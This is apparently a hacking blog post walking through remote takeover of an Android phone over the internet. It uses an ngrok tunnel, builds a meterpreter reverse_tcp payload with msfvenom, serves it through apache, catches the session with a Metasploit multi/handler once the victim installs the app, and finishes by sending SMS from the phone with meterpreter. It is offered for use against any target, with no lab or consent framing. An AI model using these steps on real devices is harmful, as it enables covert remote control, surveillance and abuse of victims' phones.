Hack Android Device Over The Network(WAN)

 

  

       Hallo Buddies! In This Page, I will show you how to remotely hack android devices over the WAN

network .In previous post of android hacking we saw how to remotely hack android devices over the 

LAN network. If we want to hack any device over the any network or if over target out of the LAN 

network. Then we have to hack device over the network.

      First we have to install any tool to get reverse connection over the network. I preferred ngrok tool.

before install this tool you need signup. To download it click on the given link or copy and paste into 

the kali-linux browser 

https://ngrok.com/download.


      Click on the Signup button. If you have already registered then click on Login button. After this 

 you will see below picture. Then click on download button which shown in picture. Extract ngrok.zip

file.


      Then copy authtoken and open root terminal where you save ngrok then paste it. 


Follow the given step.

Step - 1 :-     Type following command into the terminal

           ./ngrok tcp   <Any Four no. Which you like>

 


                     After hitting enter you will see blow picture. You will see IP address and port which 

                     provide by ngrok. In this case my IP  6.tcp.ngrok.io and port : 15681. In your case it   

                     might be different.                            


Step - 2 :-   Open new terminal and type commands for creating payload file. And start apache service

           msfvenom -p android/meterpreter/reverse_tcp LHOST = <Tyep your IP which provided by

           ngrok> LPORT = <Type Port which also provided by ngrok> R >/var/www/html/file.name

           <Where you want to save and file name which you like>                                                                 

           service apache2 start  


Step - 3 :-  To get reverse connection of targeted system you have to open metasploit in terminal.

                  Open metsploit using following command. Then use multi handler.

           msfconsole 

           use multi/handler

           set PAYLOAD  android/meterpreter/reverse_tcp 

           set LHOST 0.0.0.0 <You must set this IP address>

           set LPORT 2222 <Which choose to get IP and port from ngrok server>

           exploit  

Step - 4 :-  Then download paload file into target device and install it.

               


                  Then click on Install Anyway. After this press continue button.  

After Complete all the given above steps you will get meterpreter session in your terminal.


Then type any command of meterpreter which you want perform like this, To send sms type 

following command.

            send_sms -d <No. which you want to send sms from target contact list with specific 

           country no. like +91(India) no space between no. > -t "Hi buddy" <sms which you want 

           to send>




         Thank You for visiting my blog

         Follow for new posts about hacking

                          ðŸ’¥ðŸ’¥ðŸ’¥

Comments

Popular Posts